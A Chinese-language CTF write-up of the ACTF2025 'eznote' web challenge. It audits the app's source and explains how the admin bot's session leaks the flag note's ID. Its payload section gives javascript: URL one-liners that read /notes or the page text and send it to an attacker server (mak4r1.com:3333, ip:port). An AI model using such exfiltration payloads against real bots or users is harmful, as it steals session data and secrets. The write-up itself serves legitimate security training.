ACTF2025-web-eznote-wp

附件审计

app.js

const express = require('express')
const session = require('express-session') // 会话管理中间件
const { randomBytes } = require('crypto') // 生成加密随机数
const fs = require('fs') // 文件系统操作
const spawn = require('child_process') // 执行外部命令(如调用 Pandoc)
const path = require('path') // 路径处理
const { visit } = require('./bot') // 自定义爬虫模块(用于/report路由)
const createDOMPurify = require('dompurify'); // HTML 净化库
	const { JSDOM } = require('jsdom'); // 提供 DOM 环境
  
const DOMPurify = createDOMPurify(new JSDOM('').window);  
  
const LISTEN_PORT = 3000  
const LISTEN_HOST = '0.0.0.0'  
  
const app = express()  

app.set('views', './views') // 模板目录
app.set('view engine', 'html') // - 这行代码设置了应用的视图引擎。'view engine' 是一个配置项的键,'html' 是对应的值,表示应用将使用 html 作为视图模板的扩展名。通常,这会配合视图引擎(如 ejs)来解析 .html 文件。
app.engine('html', require('ejs').renderFile) // - 这行代码注册了一个视图引擎。'html' 是视图模板的扩展名,require('ejs').renderFile 是一个函数,表示当应用需要渲染 .html 文件时,将使用 ejs 模板引擎来解析这些文件。ejs 是一个流行的模板引擎,允许在 HTML 文件中嵌入 JavaScript 代码。
app.use(express.urlencoded({ extended: true })) // 解析表单数据
//“.use()”是Express.js框架中用于挂载中间件的方法。它允许开发者在请求处理流程中插入自定义的逻辑或功能。
app.use(session({
    secret: randomBytes(4).toString('hex'), // 动态生成密钥(生产环境应固定)
    saveUninitialized: true, // 表示即使会话(session)尚未被初始化(即没有任何数据被存储到 session 中),也会将这个空的 session 保存到存储器(比如内存、数据库等)中。
    resave: true, // 强制重新保存会话
}))

app.use((req, res, next) => {
    if (!req.session.notes) {
        req.session.notes = [] // 初始化会话中的笔记 ID 数组
    }
    next() // 传递控制权
})
  
const notes = new Map() // 内存存储笔记(键为 noteId,值为笔记内容) 
  
setInterval(() => { notes.clear() }, 60 * 1000);  // 每分钟清空笔记(防内存泄漏) “setInterval”是JavaScript中一个很重要的函数,用于在指定的毫秒数后重复执行指定的函数,直到被清除。
  
function toHtml(source, format) {
    if (format == undefined) format = 'markdown';
    let tmpfile = path.join('notes', randomBytes(4).toString('hex'));
    fs.writeFileSync(tmpfile, source); // 将内容写入临时文件
    let res = spawn.execSync(`pandoc -f ${format} ${tmpfile}`).toString(); // 调用 Pandoc 转换格式
    return DOMPurify.sanitize(res); // DOMPurify.sanitize(res),对转换后的 HTML 内容进行净化,确保其安全性,再将净化后的结果返回。
} 
  
app.get('/ping', (req, res) => {  
    res.send('pong')  
})  
  
app.get('/', (req, res) => {  
    res.render('index', { notes: req.session.notes })  
})  
  
app.get('/notes', (req, res) => {  
    res.send(req.session.notes)  
})  
  
app.get('/note/:noteId', (req, res) => {  
    let { noteId } = req.params  
    if(!notes.has(noteId)){  
        res.send('no such note')  
        return  
    }   
    let note = notes.get(noteId)  
    res.render('note', note)  
})  
  
app.post('/note', (req, res) => {  
    let noteId = randomBytes(8).toString('hex')  
    let { title, content, format } = req.body  
    if (!/^[0-9a-zA-Z]{1,10}$/.test(format)) {  
        res.send("illegal format!!!")  
        return  
    }  
    notes.set(noteId, {  
        title: title,  
        content: toHtml(content, format)  //净化好的html文件内容会储存在 notes这个全局变量中 
    })  
    req.session.notes.push(noteId)  
    res.send(noteId)  
})  
  
app.get('/report', (req, res) => {  
    res.render('report')  
})  
  
app.post('/report', async (req, res) => {  
    let { url } = req.body  
    try {  
        await visit(url)  
        res.send('success')  
    } catch (err) {  
        console.log(err)  
        res.send('error')  
    }  
})  
  
app.listen(LISTEN_PORT, LISTEN_HOST, () => {  
    console.log(`listening on ${LISTEN_HOST}:${LISTEN_PORT}`)  
})

bot.js

const puppeteer = require('puppeteer')
const process = require('process')
const fs = require('fs')

const FLAG = (() => {
    let flag = 'flag{test}'
    if (fs.existsSync('flag.txt')){
        flag = fs.readFileSync('flag.txt').toString()
        fs.unlinkSync('flag.txt')
    } 
    return flag
})()

const HEADLESS = !!(process.env.PROD ?? false)

const sleep = (sec) => new Promise(r => setTimeout(r, sec * 1000))

async function visit(url) {
    let browser = await puppeteer.launch({
        headless: HEADLESS,
        executablePath: '/usr/bin/chromium',
        args: ['--no-sandbox'],
    })
    let page = await browser.newPage()

    await page.goto('http://localhost:3000/')

    await page.waitForSelector('#title')
    await page.type('#title', 'flag', {delay: 100})
    await page.type('#content', FLAG, {delay: 100})
    await page.click('#submit', {delay: 100})

    await sleep(3)
    console.log('visiting %s', url)

    await page.goto(url)
    await sleep(30)
    await browser.close()
}

module.exports = {
    visit
}

解题思路

我们看到,bot.js文件中,visit方法会利用这个搭建的笔记程序,自行配置浏览器将flag写入,笔记的写入逻辑我们可以在app.js中看到(这里可以结合附件中的index.html理解,bot访问的是根路由,
根路由渲染的是index)

写入笔记逻辑:

app.post('/note', (req, res) => {
    let noteId = randomBytes(8).toString('hex') // 生成唯一ID
    
    // 存储到全局Map
    notes.set(noteId, {
        title: title,
        content: toHtml(content, format)
    })
    
    // 存储ID到用户会话
    req.session.notes.push(noteId)
    
    res.send(noteId)
})

这里会把 noteId 写入 session.notes 数组中

bot的visit自动写入flag后,才用page.goto 继续执行 我们传入的url

要清楚一点是:bot写flag这个笔记时,创建了属于这个会话的session

请添加图片描述
它使用page.goto处理我们的url

我们注意到app.js中:

请添加图片描述
notes路由是会“响应” notes 的(这是可以得到noteId的)

我们知道session这东西是每个用户独立的,而这里的page.goto支持JavaScript伪协议
那我们就可以利用这一点
搞一些同一个session上下文的“奇妙事情”

到这里思路就很清晰了:
利用JavaScript的fetch把session异步请求到我们的vps,从而获取flag笔记的noteId,再用拿到的noteId,通过请求/note/:noteId路由,获取储存在 notes (const notes = new Map())这个全局变量中的 flag的内容

paylpad:
/report路由

javascript:fetch('http://localhost:3000/notes').then(r=>r.text()).then(t=>location.href='http://mak4r1.com:3333?c='+encodeURIComponent(t))

javascript:fetch('http://ip:port/?flag='+(document.body.innerText))

javascript:fetch('/notes').then(r=>r.text()).then(d=>navigator.sendBeacon('http://ip:port/',d))
攻击流程说明
攻击者
提交恶意报告
服务器调用 visit 函数
启动无头浏览器
访问本地应用
创建含 FLAG 的笔记
导航到恶意 URL
执行 JavaScript 代码
获取笔记 ID 列表
发送数据到攻击者服务器
攻击者获取敏感数据

参考文章

ACTF2025 WriteUp – Mak的小破站 (mak4r1.com)

ACTF2025 Web Writeup-先知社区 (aliyun.com)

2025 ACTF Web 复现 - 妙尽璇机 (changeyourway.github.io)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值